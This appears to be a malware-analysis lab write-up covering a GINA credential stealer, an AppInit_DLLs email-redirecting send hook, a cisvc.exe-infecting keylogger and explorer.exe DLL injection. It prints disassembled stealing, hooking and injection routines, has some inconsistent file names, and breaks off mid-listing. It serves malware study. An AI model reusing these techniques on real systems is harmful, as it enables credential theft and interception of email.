Figure 1. Binary resource in Lab11-01.exe's TGAD

There is a binary in the resource section of Lab11-01.exe.

11:06	Lab11-01.exe	220	ReadFile	C:\Documents and Settings\Administrator\Desktop\Lab11-01.exe	SUCCESS	Offset: 32,768, Len: 0
11:06	Lab11-01.exe	220	CreateFile	C:\Documents and Settings\Administrator\Desktop\msgina32.dll	SUCCESS	Denied Access: 0..
11:06	Lab11-01.exe	220	CreateFile	C:\Documents and Settings\Administrator\Desktop	SUCCESS	Denied Access: 0..
11:06	Lab11-01.exe	220	CloseFile	C:\Documents and Settings\Administrator\Desktop	SUCCESS	
11:06	Lab11-01.exe	220	WriteFile	C:\Documents and Settings\Administrator\Desktop\msgina32.dll	SUCCESS	
11:06	Lab11-01.exe	220	WriteFile	C:\Documents and Settings\Administrator\Desktop\msgina32.dll	SUCCESS	Offset: 4,096, Len: 4
11:06	Lab11-01.exe	220	CloseFile	C:\Documents and Settings\Administrator\Desktop\msgina32.dll	SUCCESS	
11:06	Lab11-01.exe	220	RegCreateKey	HKEY SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon	SUCCESS	
11:06	Lab11-01.exe	220	RegGetStatus	HKEY SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\!DataDLL	SUCCESS	
11:06	Lab11-01.exe	220	SetEndOfFileInformationFile	C:\WINDOWS\system32\config\software.LOG	SUCCESS	Type: REG_SZ, Len: 0
11:06	Lab11-01.exe	220	SetEndOfFileInformationFile	C:\WINDOWS\system32\config\software.LOG	SUCCESS	EndOfFile: 8,192
11:06	Lab11-01.exe	220	SetEndOfFileInformationFile	C:\WINDOWS\system32\config\software.LOG	SUCCESS	EndOfFile: 16,384
11:06	Lab11-01.exe	220	SetEndOfFileInformationFile	C:\WINDOWS\system32\config\software.LOG	SUCCESS	EndOfFile: 32,400
11:06	Lab11-01.exe	220	SetEndOfFileInformationFile	C:\WINDOWS\system32\config\software.LOG	SUCCESS	EndOfFile: 24,576

Figure 2. msgina32.dll dropped

From Proc Mon we can observe that msgina32.dll and software.LOG are dropped on the machine.

ii. How does the malware achieve persistence?

In figure 2, the malware adds "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL" into the registry.

According to [MSDN](#), [Winlogon](#), the [GINA](#), and network providers are the parts of the interactive logon model. The interactive logon procedure is normally controlled by Winlogon, MSGina.dll, and network providers. To change the interactive logon procedure, MSGina.dll can be replaced with a customized GINA DLL. Winlogon will trigger the use of the malicious dll and that is how the malware achieves persistency.

iii. How does the malware steal user credentials?

Looking at the dropped dll's export, it seems like it is a custom dll to hook to the winlogon process.

ShellShutdownDialog	100012A0	29
WlxActivateUserShell	100012B0	30
WlxDisconnectNotify	100012C0	31
WlxDisplayLockedNotice	100012D0	32
WlxDisplaySASNotice	100012E0	33
WlxDisplayStatusMessage	100012F0	34
WlxGetConsoleSwitchCredentials	10001300	35
WlxGetStatusMessage	10001310	36
WlxInitialize	10001320	37
WlxIsLockOk	10001330	38
WlxIsLogoffOk	10001340	39
WlxLoggedOnSAS	10001350	40
WlxLoggedOutSAS	100014A0	41
WlxLogoff	10001360	42
WlxNegotiate	10001370	43
WlxNetworkProviderLoad	10001380	44
WlxReconnectNotify	10001390	45
WlxRemoveStatusMessage	100013A0	46
WlxScreenSaverNotify	100013B0	47
WlxShutdown	100013C0	48
WlxStartApplication	100013D0	49
WlxWkstaLockedSAS	100013E0	50
DllRegister	10001440	51
DllUnregister	10001490	52
DllEntryPoint	10001735	[main entry]

Figure 3.

WlxLoggedOutSAS

After checking through the exports function, only 1 function (**WlxLoggedOutSAS**) behaves suspiciously. The rest simply pass the inputs to the original function address.

The figure shows a debugger interface with three windows. The top window displays assembly code for the `WlxLoggedOutSAS` function. The middle window shows a jump instruction (`jz`) that branches to a new assembly code block in the bottom window. This new block contains code for writing stolen credentials to a file.

```

public WlxLoggedOutSAS
WlxLoggedOutSAS proc near

arg_0= dword ptr 4
arg_4= dword ptr 8
arg_8= dword ptr 0Ch
arg_C= dword ptr 10h
arg_10= dword ptr 14h
arg_14= dword ptr 18h
arg_18= dword ptr 1Ch
arg_1C= dword ptr 20h

push    esi
push    edi
push    offset aWlxloggedout_0 ; "WlxLoggedOutSAS"
call    procAddress
push    64h      ; unsigned int
mov     edi, eax
call    ??2@YAPAXI@Z ; operator new(uint)
mov     eax, [esp+0Ch+arg_1C]
mov     esi, [esp+0Ch+arg_18]
mov     ecx, [esp+0Ch+arg_14]
mov     edx, [esp+0Ch+arg_10]
add    esp, 4
push    eax
mov     eax, [esp+0Ch+arg_C]
push    esi
push    ecx
mov     ecx, [esp+14h+arg_8]
push    edx
mov     edx, [esp+18h+arg_4]
push    eax
mov     eax, [esp+1Ch+arg_0]
push    ecx
push    edx
push    eax
call    edi
mov     edi, eax
cmp    edi, 1
jnz    short loc_10001500

;-----[Jump]-----;

mov    eax, [esi]
test   eax, eax
jz    short loc_10001500

;-----[New Function]-----;

mov    ecx, [esi+0Ch]
mov    edx, [esi+8]
push   ecx
mov    ecx, [esi+4]
push   edx
push   ecx
push   eax      ; Args
offset aUnSDmSPw$0ldS ; "UN %s DM %s PV %s OLD %s"
push   0          ; dwMessageId
call   WriteToFile
add    esp, 18h

```

Figure 4. Intercepting WlxLoggedOutSAS

The above figure is pretty straight forward, the inputs are passed to the original `WlxLoggedOutSAS` function and a copy of the inputs are passed to a function to write to a file.

iv. What does the malware do with stolen credentials?

```

; int __cdecl WriteToFile(DWORD dwMessageId, uchar_t *Format, char Args)
WriteToFile proc near

var_854= word ptr -854h
Buffer= word ptr -850h
var_828= word ptr -828h
Dest= word ptr -800h
dwMessageId= dword ptr 4
Format= duord ptr 8
Args= byte ptr 8Ch

    mov    ecx, [esp+Format]
    sub    esp, 854h
    lea    eax, [esp+854h+Args]
    lea    edx, [esp+854h+Dest]
    push   esi
    push   eax          ; Args
    push   ecx          ; Format
    push   800h          ; Count
    push   edx          ; Dest
    call   _vsnprintf
    push   offset Mode   ; Mode
    push   offset Filename ; "msutil32.sys"
    call   _fopen
    mov    esi, eax
    add    esp, 10h
    test  esi, esi
    jz    loc_1000164F

;----- Callout 1: Format Parameter
lea    eax, [esp+850h+Dest]
push  edi
lea    ecx, [esp+85Ch+Buffer]
push  eax
push  ecx          ; Buffer
call  _wstrtime
add   esp, 4
lea    edx, [esp+860h+var_828]
push  eax
push  edx          ; Buffer
call  _wstrdate
add   esp, 4
push  eax
push  offset Format ; "%s %s - %s"
push  esi          ; File
call  Fuprintf
mov    edi, [esp+870h+dwMessageId]
add    esp, 10h
test  edi, edi
jz    short loc_10001637

;----- Callout 2: File Parameter
loc_10001637:           ; "\n"
push  offset asc_1000329C
push  esi          ; File
call  Fuprintf
add   esp, 8
push  esi          ; File

;----- Callout 3: Arguments Parameter
push  8          ; Arguments
lea   eax, [esp+860h+var_854]
push  8          ; nSize
push  eax          ; lpBuffer
push  409h          ; dwLanguageId
push  edi          ; dwMessageId
push  8          ; lpSource

```

Figure 5. Write to file

The above figure shows the malicious dll writing the stolen values into c:\windows\system32\msutil32.sys file.

v. How can you use this malware to get user credentials from your test environment?

By rebooting the machine or by logging off and re-login again. c:\windows\system32\msutil32.sys will contains the password used to login to the windows.




Figure 6. Captured Password

b- Analyze the malware found in *Lab11-02.dll*. Assume that a suspicious file named *Lab11-02.ini* was also found with this malware.

i. What are the exports for this DLL malware?

Name	Address	Ordinal
installer	1000158B	1
DllEntryPoint	100017E9	[main entry]

Figure 1. Exports

ii. What happens after you attempt to install this malware using *rundll32.exe*?




Figure 2. Set Registry & WriteFile

The malware add a registry value in **HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows**

It then copy itself; the dll as **C:\Windows\System32\spoolvxx32.dll**.

The malware then tries to open **C:\Windows\System32\Lab11-02.ini**.

iii. Where must Lab11-02.ini reside in order for the malware to install properly?



Figure 3. Loads config file

The malware will attempt to load the config from **C:\Windows\System32\Lab11-02.ini**. We would need to place the ini file in system32 folder.

iv. How is this malware installed for persistence?

According to [MSDN](#), AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. By adding AppInit_DLLs in **HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows** we are loading the malicious DLL into each user mode process that gets executed on the system.

v. What user-space rootkit technique does this malware employ?

If we look at the subroutine @0x100012A3, you will see that it is attempting to get the address of send from wscock32.dll. It then pass the address to subroutine @0x10001203.

The subroutine @0x10001203 is employing the inline hook technique. It first get the offset from the hook position to the function where it wants to jump to. It then uses VirtualProtect to make 5 bytes of space from the start of the subroutine address to PAGE_EXECUTE_READWRITE. Once it is done it then rewrite the code to jmp to the hook function. Finally it reset the 5 bytes of memory space back to the old protection attributes.

```
.text:10001203 ; int __cdecl inlineHook(LPUUID lpAddress, int, int)
.text:10001203 inlineHook proc near ; CODE XREF: sub_10001203+4F4p
.text:10001203 f1OldProtect = dword ptr -0Ch
.text:10001203 var_8 = dword ptr -8
.text:10001203 var_4 = dword ptr -4
.text:10001203 lpAddress = dword ptr 8
.text:10001203 arg_4 = dword ptr 0Ch
.text:10001203 arg_8 = dword ptr 10h
.text:10001203
.text:10001203 push    ebp
.text:10001204 mov     ebp, esp
.text:10001206 sub     esp, 0Ch
.text:10001209 mov     eax, [ebp+arg_4]
.text:1000120C sub     eax, [ebp+lpAddress]
.text:1000120F sub     eax, 5
.text:10001212 mov     [ebp+var_4], eax
.text:10001215 lea     ecx, [ebp+f1OldProtect]
.text:10001218 push    ecx          ; lpf1OldProtect
.text:10001219 push    40h          ; f1NewProtect
.text:1000121B push    5             ; dwSize
.text:1000121D mov     edx, [ebp+lpAddress]
.text:10001220 push    edx          ; lpAddress
.text:10001221 call    ds:VirtualProtect
.text:10001227 push    0FFh          ; Size
.text:1000122C call    malloc
.text:10001231 add    esp, 4
.text:10001234 mov     [ebp+var_8], eax
.text:10001237 mov     eax, [ebp+var_8]
.text:1000123A mov     ecx, [ebp+lpAddress]
.text:1000123D mov     [eax], ecx
.text:1000123F mov     edx, [ebp+var_8]
.text:10001242 mov     byte ptr [edx+4], 5
.text:10001246 push    5             ; Size
.text:10001248 mov     eax, [ebp+lpAddress]
.text:1000124B push    eax          ; Src
.text:1000124C mov     ecx, [ebp+var_8]
.text:1000124F add    ecx, 5
.text:10001252 push    ecx          ; Dst
.text:10001253 call    memcpy
.text:10001258 add    esp, 0Ch
.text:1000125B mov     edx, [ebp+var_8]
.text:1000125E mov     byte ptr [edx+0Ah], 0E9h
.text:10001262 mov     eax, [ebp+lpAddress]
.text:10001265 sub    eax, [ebp+var_8]
.text:10001268 sub    eax, 0Ah
.text:1000126B mov     ecx, [ebp+var_8]
.text:1000126E mov     [ecx+08h], eax
.text:10001271 mov     edx, [ebp+lpAddress]
.text:10001274 mov     byte ptr [edx], 0E9h
```

Figure 4. inline hook

However, the malware only hook 3 programs; THEBAT.EXE, OUTLOOK.EXE, MSIMM.EXE.



Figure 5. Hook selected programs

To conclude, the malware is attempting to do an inline hook on wsock32.dll's send function for selected programs.

vi. What does the hooking code do?

We first look at what the malware is retrieving from the config file.




Figure 6. Decoding config

After reading the data from the config file, the malware then decodes it by calling the subroutine `@0x100016CA`. If we dive into this subroutine, you will realize that it is a xor decoding function. Let's place a hook there in ollydbg to see what comes out.



Figure 7. billy@malwareanalysisbook.com

This decoded string will be used in the following function.

```
; int __stdcall lookforstring(int, char *Str, int, int)
lookforstring proc near

Dst= byte ptr -204h
arg_0= dword ptr 8
Str= dword ptr 0Ch
arg_8= dword ptr 10h
arg_C= dword ptr 14h

push    ebp
mov     ebp, esp
sub    esp, 204h
push    offset str_RCPT_TO ; "RCPT TO:"
mov     eax, [ebp+Str]
push    eax          ; Str
call    strstr
add    esp, 8
test   eax, eax
jz     loc_100011E4
```

```
push    offset str_RCPT_TO2 ; "RCPT TO:<"
call    strlen
add    esp, 4
push    eax          ; Size
push    offset aRcptTo_1 ; "RCPT TO:<"
lea     ecx, [ebp+Dst]
push    ecx          ; Dst
call    memcpy
add    esp, 0Ch
push    10h          ; Size
push    offset buffer ; Src
push    offset str_RCPT_TO3 ; "RCPT TO:<"
call    strlen
add    esp, 4
lea     edx, [ebp+eax+Dst]
push    edx          ; Dst
call    memcpy
add    esp, 0Ch
push    offset Source ; ">\r\n"
lea     eax, [ebp+Dst]
push    eax          ; Dest
call    strcat
add    esp, 8
mov     ecx, [ebp+arg_C]
push    ecx          ; _DWORD
lea     edx, [ebp+Dst]
push    edx          ; Str
call    strlen
```

Figure 8. replacing send data

The inline hook jumps to the above function. Its starts off with checking if the send buffer contains the string “RCPT TO”. If it does, it will create a new buffer “RCPT TO:<billy@malwareanalysisbook.com>\r\n” and send it off via the original send function. The function will then end of by simply forwarding the original data to the send function.

vii. Which process(es) does this malware attack and why?

As answered in question v... the malware only hook 3 programs; THEBAT.EXE, OUTLOOK.EXE, MSIMM.EXE. They are all email clients.

viii. What is the significance of the .ini file?

As answered in question v... the config ini contains the encoded attacker email address. It is used to replace recipient address causing email to be sent to the attacker instead.

c- Analyze the malware found in Lab11-03.exe and Lab11-03.dll. Make sure that both files are in the same directory during analysis.

i. What interesting analysis leads can you discover using basic static analysis?

Lab11-03.exe

```

; Attributes: bp-based frame
; int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near

FileName= byte ptr -104h
argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h

push    ebp
mov     ebp, esp
sub    esp, 104h
push    0          ; bFailIfExists
push    offset NewFileName ; "C:\\WINDOWS\\System32\\inet_ewan32.dll"
push    offset ExistingFileName ; "Lab11-03.dll"
call    ds:CopyFileA
push    offset aCisvc_exe ; "cisvc.exe"
push    offset aWindowsSyst_0 ; "C:\\WINDOWS\\System32\\%s"
lea     eax, [ebp+FileName]
push    eax          ; char *
call    _sprintf
add    esp, 0Ch
lea     ecx, [ebp+FileName]
push    ecx          ; lpFileName
call    sub_401070
add    esp, 4
push    offset aNetStartCisvc ; "net start cisvc"
call    system
add    esp, 4
xor    eax, eax
mov    esp, ebp
pop    ebp
ret
_main endp

```

Figure 1. Installation

The main method in Dll11-03.exe is pretty straight forward. It first copy the Lab11-03.dll to C:\Windows\System32\inet_epar32.dll. It then attempts to modify C:\Windows\System32\cisvc.exe and executes the infected executable by starting a service via the command “net start cisvc”

Lab11-03.dll

The dll contains some interesting stuff... In export, we can see a suspicious looking function; **zzz69806582**.

Name	Address	Ordinal
zzz69806582	10001540	1
DllEntryPoint	10001968	[main entry]

Figure 2.

Export function surface a funny function

The imports contains **GetAsyncKeyState** and **GetForegroundWindow** which highly suggests that this is a keylogger.

Address	Ordinal	Name	Library
100070F0		GetForegroundWindow	USER32
100070F4		GetWindowTextA	USER32
100070F8		GetAsyncKeyState	USER32
10007000		Sleep	KERNEL32
10007004		WriteFile	KERNEL32

Figure 3. imports

The function @zzz69806582 is pretty simple. It just creates a thread.




Figure 3. function zzz69806582

The thread that the above function creates first check for mutex; MZ.

It then create a file @ C:\Windows\System32\kernel64.dll.




Figure 4.Mutex MZ

Next, the thread calls a subroutine to record keystrokes.




Figure 5. Keylogs

ii. What happens when you run this malware?

As answered in question 1, It first copy the Lab11-03.dll to C:\\Windows\\System32\\inet_epar32.dll. It then attempts to modify C:\\Windows\\System32\\cisvc.exe and executes the infected executable by starting a service via the command “net start cisvc”

The infected service then begins to log keystroke and save it in C:\Windows\System32\kernel64.dll.

Time	Process Name	PID	Operation	Path	Result	Detail
11:06	Lab11-03.exe	784	Thread Create		SUCCESS	Thread 720
11:06	Lab11-03.exe	784	CreateFile	C:\WINDOWS\system32\Lab11-03.exe_3EBCCE58.dll	NAME NOT FOUND	DesiredAccess: S
11:06	Lab11-03.exe	784	CreateFile	C:\Documents and Settings\VirtualMachine\Desktop\Lab11-03.dll	SUCCESS	DesiredAccess: E
11:06	Lab11-03.exe	784	CreateFile	C:\Documents and Settings\VirtualMachine\Desktop\Lab11-03.dll	SUCCESS	DesiredAccess: G
11:06	Lab11-03.exe	784	CreateFile	C:\WINDOWS\system32\Lab11-03.dll	SUCCESS	DesiredAccess: G
11:06	Lab11-03.exe	784	CreateFile	C:\WINDOWS\system32\Lab11-03.dll	SUCCESS	DesiredAccess: S
11:06	Lab11-03.exe	784	SetEndOfFileInformationFile	C:\WINDOWS\system32\Lab11-03.dll	SUCCESS	EndOfFile 43152
11:06	Lab11-03.exe	784	CreateFileMapping	C:\Documents and Settings\VirtualMachine\Desktop\Lab11-03.dll	SUCCESS	SpecType SyncTy
11:06	Lab11-03.exe	784	CreateFileMapping	C:\Documents and Settings\VirtualMachine\Desktop\Lab11-03.dll	SUCCESS	SpecType SyncTy
11:06	Lab11-03.exe	784	CreateFileMapping	C:\WINDOWS\system32\Lab11-03.dll	SUCCESS	Offset 0 Length 4
11:06	Lab11-03.exe	784	SetHandleInformationFile	C:\WINDOWS\system32\Lab11-03.dll	SUCCESS	CreateFile: 1/1/-
11:06	Lab11-03.exe	784	CreateFile	C:\WINDOWS\system32\Lab11-03.dll	SUCCESS	DesiredAccess: S
11:06	Lab11-03.exe	784	CreateFileMapping	C:\WINDOWS\system32\Lab11-03.dll	SUCCESS	SpecType SyncTy
11:06	Lab11-03.exe	784	CreateFile	C:\WINDOWS\system32\Lab11-03.dll	SUCCESS	DesiredAccess: R
11:06	Lab11-03.exe	784	CreateFileMapping	C:\WINDOWS\system32\Lab11-03.dll	SUCCESS	SpecType SyncTy
11:06	Lab11-03.exe	784	CreateFileMapping	C:\WINDOWS\system32\Lab11-03.dll	SUCCESS	SpecType SyncTy
11:06	Lab11-03.exe	784	CreateFile	C:\WINDOWS\system32\Lab11-03.dll	SUCCESS	DesiredAccess: E

Figure 6. Procmon showing file creation in infected system

iii. How does Lab11-03.exe persistently install Lab11-03.dll?

It infects **C:\Windows\System32\csvc.exe**; an indexing service by inserting shellcodes into the program. The infected csvc.exe will load **C:\Windows\System32\inet_epar.dll** as shown in the figure below.



Figure 7. LoadLibrary

Comparing the infected executable with the original one, we could see some additional functions added to it. On top of that we can observe that the entry point has been changed.




Figure 8. Additional Functions




Figure 9. Changes in Entry Point

iv. Which Windows system file does the malware infect?

It infects C:\Windows\System32\cisvc.exe.

Process Explorer - Sysinternals: www.sysinternals.com [USER-FCC21C8345\Administrator]

Process	CPU	Private Bytes	Working Set	PID	Description	Company Name
winlogon.exe		6,968 K	3,608 K	560	Windows NT Logon Application	Microsoft Corporation
services.exe		3,416 K	5,448 K	704	Services and Controller app	Microsoft Corporation
vmauthip.exe		588 K	2,548 K	876	VMware Activation Helper	VMware, Inc.
Command Line:		2,984 K	4,700 K	888	Generic Host Process for VMware	Microsoft Corporation
Path:		2,236 K	4,496 K	1548	WMI	Microsoft Corporation
Services:		1,688 K	4,132 K	968	Generic Host Process for WMI	Microsoft Corporation
Event Log [EventLog]		12,408 K	20,576 K	1052	Generic Host Process for WLM	Microsoft Corporation
Plug and Play [PlugPlay]		1,204 K	3,456 K	1100	Generic Host Process for WLM	Microsoft Corporation
spoolv.exe		1,756 K	4,692 K	1152	Spooler SubSystem App	Microsoft Corporation
VMwareService.exe		3,700 K	5,364 K	1452	Spooler SubSystem App	VMware, Inc.
a2e.exe		1,708 K	4,209 K	520	VMware Tools Service	VMware, Inc.
cisvc.exe	2.78	1,112 K	2,472 K	1580	Application Layer Gateway Service	Microsoft Corporation
lsass.exe		2,344 K	1,400 K	900	Content Index service	Microsoft Corporation
explorer.exe		1,120 K	268 K	824	Indexing Service filter daemon	Microsoft Corporation
VMwareTray.exe		3,584 K	1,064 K	716	LSA Shell (Export Version)	Microsoft Corporation
VMwareUser.exe		872 K	3,332 K	1756	Windows Explorer	Microsoft Corporation
ctfmon.exe		7,632 K	11,415 K	1992	VMware Tools tray application	VMware, Inc.
msmsgs.exe		944 K	3,176 K	144	CTF Loader	Microsoft Corporation
procepxp.exe	6.94	1,336 K	1,300 K	168	Windows Messenger	Microsoft Corporation
Process.exe		10,160 K	12,972 K	548	Sysinternals Process Explorer	Sysinternals - www.sysinternals.com
		10,632 K	14,000 K	1172	Process Monitor	Sysinternals - www.sysinternals.com

Name	Description	Company Name	Path
gdi32.dll	GDI Client DLL	Microsoft Corporation	C:\WINDOWS\system32\gdi32.dll
mm32.dll	Windows XP IMM32 API Client DLL	Microsoft Corporation	C:\WINDOWS\system32\mm32.dll
inet_epar32.dll			C:\WINDOWS\system32\inet_epar32.dll
kernel32.dll	Windows NT BASE API Client DLL	Microsoft Corporation	C:\WINDOWS\system32\kernel32.dll
locale.nls			C:\WINDOWS\system32\Locale.nls
msacm32.dll	Microsoft ACM Audio Filter	Microsoft Corporation	C:\WINDOWS\system32\msacm32.dll
msvcr7.dll	Windows NT CRT DLL	Microsoft Corporation	C:\WINDOWS\system32\msvcr7.dll
ntdll.dll	NT Layer DLL	Microsoft Corporation	C:\WINDOWS\system32\ntdll.dll
ntmarta.dll	Windows NT MARITA provider	Microsoft Corporation	C:\WINDOWS\system32\ntmarta.dll
ole32.dll	Microsoft OLE for Windows	Microsoft Corporation	C:\WINDOWS\system32\ole32.dll

Figure 10. inet_epar32.dll loaded in cisvc.exe

v. What does Lab11-03.dll do?

Using **GetAsyncKeyState** and **GetForegroundWindow**, the dll logs keystrokes into **C:\Windows\System32\kernel64.dll**. The dll also uses a mutex "MZ" to prevent multiple instances of the keylogger is running at once.




Figure 11. Mutex MZ

vi. Where does the malware store the data it collects?

In C:\Windows\System32\kernel64x.dll




Figure 12. Key Logs Captured

Practical No. 6

a. Analyze the malware found in the file *Lab12-01.exe* and *Lab12-01.dll*. Make sure that these files are in the same directory when performing the analysis.

i. What happens when you run the malware executable?

A Message box with a incremental number in its title pops up every now and then...



ii. What process is being injected?

In the imports table, *CreateRemoteThread* is used by the exe which highly suggests that the malware might be injecting DLL into processes.

Address	Ordinal	Name	Library
00405000		CloseHandle	KERNEL32
00405004		OpenProcess	KERNEL32
00405008		CreateRemoteThread	KERNEL32
0040500C		GetModuleHandleA	KERNEL32
00405010		WriteProcessMemory	KERNEL32
00405014		VirtualAllocEx	KERNEL32
00405018		lstrcatA	KERNEL32
0040501C		GetCurrentDirectoryA	KERNEL32
00405020		GetProcAddress	KERNEL32
00405024		LoadLibraryA	KERNEL32
00405028		GetCommandLineA	KERNEL32
0040502C		GetVersion	KERNEL32
00405030		ExitProcess	KERNEL32
00405034		TerminateProcess	KERNEL32
00405038		GetCurrentProcess	KERNEL32
0040503C		UnhandledExceptionFilter	KERNEL32

Figure 2. *CreateRemoteThread* in imports

“explorer.exe” is found in the list of string. X-ref the string and we will come to the following subroutine. Seems like explorer.exe is being targeted to be injected with the malicious dll.

```

.text:00401036          lea     edi, [ebp+var_FE]
.text:0040103C          rep stosd
.text:0040103E          stosw
.text:00401048          mov     eax, [ebp+dwProcessId]
.text:00401043          push    eax           ; dwProcessId
.text:00401044          push    0              ; bInheritHandle
.text:00401046          push    410h          ; dwDesiredAccess
.text:00401048          call    ds:OpenProcess
.text:00401051          mov     [ebp+hObject], eax
.text:00401054          cmp     [ebp+hObject], 0
.text:00401058          jz     short loc_401095
.text:0040105A          lea     ecx, [ebp+var_110]
.text:00401060          push    ecx
.text:00401061          push    4
.text:00401063          lea     edx, [ebp+var_10C]
.text:00401069          push    edx
.text:0040106A          mov     eax, [ebp+hObject]
.text:0040106D          push    eax
.text:0040106E          call    dword_408714
.text:00401074          test   eax, eax
.text:00401076          jz     short loc_401095
.text:00401078          push    100h
.text:0040107D          lea     ecx, [ebp+var_108]
.text:00401083          push    ecx
.text:00401084          mov     edx, [ebp+var_10C]
.text:0040108A          push    edx
.text:0040108B          mov     eax, [ebp+hObject]
.text:0040108E          push    eax
.text:0040108F          call    dword_40870C
.text:00401095          loc_401095:      ; CODE XREF: sub_401000+58↑j
.text:00401095          ; sub_401000+76↑j
.text:00401095          push    0Ch           ; size_t
.text:00401097          push    offset aExplorer_exe ; "explorer.exe"
.text:0040109C          lea     ecx, [ebp+var_108]
.text:004010A2          push    ecx           ; char *
.text:004010A3          call    _strnicmp
.text:004010A8          add    esp, 0Ch
.text:004010AB          test   eax, eax
.text:004010AD          jnz    short loc_401086
.text:004010AF          mov    eax, 1
.text:004010B4          jmp    short loc_4010C2

```

Figure 3. explorer.exe

We can confirm our suspicion using process explorer as shown below.

Process	CPU	Private Bytes	Working Set	PID	Description	Company Name
smss.exe		168 K	388 K	592	Windows NT Session Mana...	Microsoft Corporation
csrss.exe		1,668 K	3,684 K	640	Client Server Runtime Process	Microsoft Corporation
winlogon.exe		7,788 K	5,268 K	664	Windows NT Logon Application	Microsoft Corporation
services.exe		1,620 K	3,248 K	708	Services and Controller app	Microsoft Corporation
lsass.exe		3,612 K	1,100 K	720	LSA Shell (Export Version)	Microsoft Corporation
VMwareTray.exe		872 K	3,344 K	2044	VMware Tools tray application	VMware, Inc.
VMwareUser.exe		2,004 K	6,076 K	132	VMware Tools Service	VMware, Inc.
cflmon.exe		844 K	3,204 K	168	CTF Loader	Microsoft Corporation
mmsigns.exe		1,344 K	2,016 K	196	Windows Messenger	Microsoft Corporation
procesp.exe	8.33	16,056 K	19,404 K	1704	Sysinternals Process Explorer	Sysinternals - www.sysinter...
explorer.exe	2.22	17,276 K	5,004 K	304	Windows Explorer	Microsoft Corporation
Procmon.exe	0.56	12,004 K	14,100 K	616	Process Monitor	Sysinternals - www.sysinter...

Name	Description	Company Name	Path
index.dat			C:\Documents and Settings\Administrator\Cookies\index.dat
Lab12-01.dll			C:\Documents and Settings\Administrator\Desktop\BinaryC...

Figure 4. Explorer.exe injected with dll

iii. How can you make the malware stop the pop-ups?

Kill explorer.exe and re-run it again

iv. How does this malware operate?

Lab12-01.exe

The malware begins by using psapi.dll's [EnumProcesses](#) to loop through all running processes. Also note that it attempts to form the absolute path for the malicious dll. This will be used later to inject the dll in remote processes.

```
xor    eax, eax
mov    [ebp+var_110], eax
mov    [ebp+var_10C], eax
mov    [ebp+var_108], eax
mov    [ebp+var_1178], 44h
mov    ecx, 10h
xor    eax, eax
lea    edi, [ebp+var_1174]
rep stosd
mov    [ebp+var_118], 0
push   offset ProcName ; "EnumProcessModules"
push   offset LibFileName ; "psapi.dll"
call   ds:LoadLibraryA
push   eax           ; hModule
call   ds:GetProcAddress
mov    dword_408714, eax
push   offset aGetmodulebasen ; "GetModuleBaseNameA"
push   offset LibFileName ; "psapi.dll"
call   ds:LoadLibraryA
push   eax           ; hModule
call   ds:GetProcAddress
mov    dword_40870C, eax
push   offset aEnumprocesses ; "EnumProcesses"
push   offset LibFileName ; "psapi.dll"
call   ds:LoadLibraryA
push   eax           ; hModule
call   ds:GetProcAddress
mov    dword_408710, eax
lea    ecx, [ebp+Buffer]
push   ecx           ; lpBuffer
push   104h          ; nBufferLength
call   ds:GetCurrentDirectoryA
push   offset String2 ; "\\"
lea    edx, [ebp+Buffer]
push   edx           ; lpString1
call   ds:lstrcmpA
push   offset aLab1201_dll ; "Lab12-01.dll"
lea    eax, [ebp+Buffer]
push   eax           ; lpString1
call   ds:lstrcmpA
lea    ecx, [ebp+var_1120]
push   ecx           ; _DWORD
push   1000h          ; _DWORD
lea    edx, [ebp+dwProcessId]
push   edx           ; _DWORD
call   dword_408710
test   eax, eax
jnz    short loc_4011D0
```

Figure 5. EnumPorcesses

While looping through the processes only “explorer.exe” will be injected. The following figure shows the filtering taking place.




Figure 6. Check for explorer.exe

Once the malware located the “explorer.exe” process, it will ask the remote process (explorer.exe) to allocate a heap space. The space will contain the malicious dll’s absolute path as mentioned earlier. It will then get the LoadLibraryA address of explorer.exe and triggers the function via CreateRemoteThread. Explorer.exe will then invoke LoadLibraryA with the input as the malicious dll’s absolute path which is already in its heap memory and that is how explorer.exe got injected. =)

The screenshot shows two windows of a debugger. The top window displays assembly code for the `VirtualAllocEx` function, which is used to allocate memory in another process. The bottom window displays assembly code for the `CreateRemoteThread` function, which is used to create a remote thread in the target process.

```

loc_40128C:          ; f1Protect
push    4
push    3000h          ; f1AllocationType
push    104h           ; dwSize
push    0               ; lpAddress
mov     edx, [ebp+hProcess]
push    edx             ; hProcess
call   ds:VirtualAllocEx
mov     [ebp+lpBaseAddress], eax
cmp    [ebp+lpBaseAddress], 0
jnz    short loc_4012BE

loc_4012BE:          ; lpNumberOfBytesWritten
push    0
push    104h           ; nSize
lea     eax, [ebp+Buffer]
push    eax             ; lpBuffer
mov     ecx, [ebp+lpBaseAddress]
push    ecx             ; lpBaseAddress
mov     edx, [ebp+hProcess]
push    edx             ; hProcess
call   ds:WriteProcessMemory
push    offset ModuleName ; "kernel32.dll"
call   ds:GetModuleHandleA
mov     [ebp+hModule], eax
push    offset aLoadlibraryA ; "LoadLibraryA"
mov     eax, [ebp+hModule]
push    eax             ; hModule
call   ds:GetProcAddress
mov     [ebp+lpStartAddress], eax
push    0               ; lpThreadId
push    0               ; dwCreationFlags
mov     ecx, [ebp+lpBaseAddress]
push    ecx             ; lpParameter
mov     edx, [ebp+lpStartAddress]
push    edx             ; lpStartAddress
push    0               ; dwStackSize
push    0               ; lpThreadAttributes
mov     eax, [ebp+hProcess]
push    eax             ; hProcess
call   ds>CreateRemoteThread
mov     [ebp+var_1130], eax
cmp    [ebp+var_1130], 0
jnz    short loc_401340

```

Figure 7. Injecting

Lab12-01.dll

The DllMain first creates a thread @ subroutine 0x1001030.

```

; Attributes: bp-based Frame
; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD FdwReason, LPVOID lpvReserved)
_DllMain@12 proc near

var_8= dword ptr -8
ThreadId= dword ptr -4
hinstDLL= dword ptr 8
FdwReason= dword ptr 0Ch
lpvReserved= dword ptr 10h

push    ebp
mov     ebp, esp
sub    esp, 8
cmp    [ebp+FdwReason], 1
jnz    short loc_100010C6

```



```

